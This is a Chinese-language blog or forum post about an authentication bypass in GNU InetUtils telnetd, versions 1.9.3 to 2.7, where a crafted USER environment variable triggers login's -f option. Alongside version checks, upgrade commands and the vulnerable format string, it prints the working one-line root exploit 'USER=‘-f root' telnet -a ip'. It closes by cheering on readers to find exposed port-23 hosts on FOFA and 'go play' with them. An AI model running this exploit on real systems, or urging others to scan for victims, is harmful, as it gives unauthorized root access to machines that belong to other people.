林子大了什么鸟都有,我登陆过一遍就不用登陆了。拼接参数和字符串,就可以不需要认证直接root。hhhhh太好了太好了。。。。。
这么重要端口,环境认证又不做hhhhh
Telnet 是一种基于TCP的远程终端访问服务与应用层协议,默认使用23端口,允许用户通过网络在本地主机上远程登录并操作另一台服务器。Telnet采用明文方式传输用户名、口令及会话数据,早期广泛用于类Unix系统的远程管理与设备运维。由于缺乏加密和完整的身份保护机制,Telnet容易遭受窃听、重放和中间人攻击,安全风险较高。随着安全需求的提升,Telnet已逐步被SSH等加密远程管理协议所取代,通常仅在受控的内网环境或特殊兼容场景中使用。
漏洞据介绍
该漏洞源于telnetd在调用/usr/bin/login进行用户登录时,未对客户端传入的USER环境变量进行有效校验与过滤,直接将其作为参数传递给login程序。当攻击者通过telnet客户端使用-a或--login参数,并构造USER=-f root的环境变量时,可触发login的-f免认证机制,从而在无需任何合法凭据的情况下直接以root身份登录系统。攻击者仅需具备网络访问telnet服务的能力即可完成利用。一旦成功,可能导致系统被完全接管,造成严重的权限提升与安全风险。
可通过如下命令确认当前telnet所属包和版本
dpkg -S /usr/sbin/telnetd && telnetd --version
1.9.3 <= GNU InetUtils <= 2.7。
基本上都中招!但是要开放23端口。而且都是一半小白需要LInux远程所需要的。
官方已发布修复版本,建议用户升级
GNU Inetutils telnetd(1.9.3 到 2.7 版本)
建议关闭telnet服务,使用ssh服务。
Ubuntu 修复方案:
sudo apt update
sudo apt install --only-upgrade inetutils-telnetd
就是更新一下telnetd软件包!很好修复
sudo yum update inetutils
sudo dnf update inetutils
可通过如下命令确认当前telnet所属包和版本
dpkg -S /usr/sbin/telnetd && telnetd --version
#/// USER=‘-f root' telnet -a ip //ip为目标 USER环境变了模拟-f 简单的要死
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}" //拼接
#endif上fofa找23开放端口去玩吧!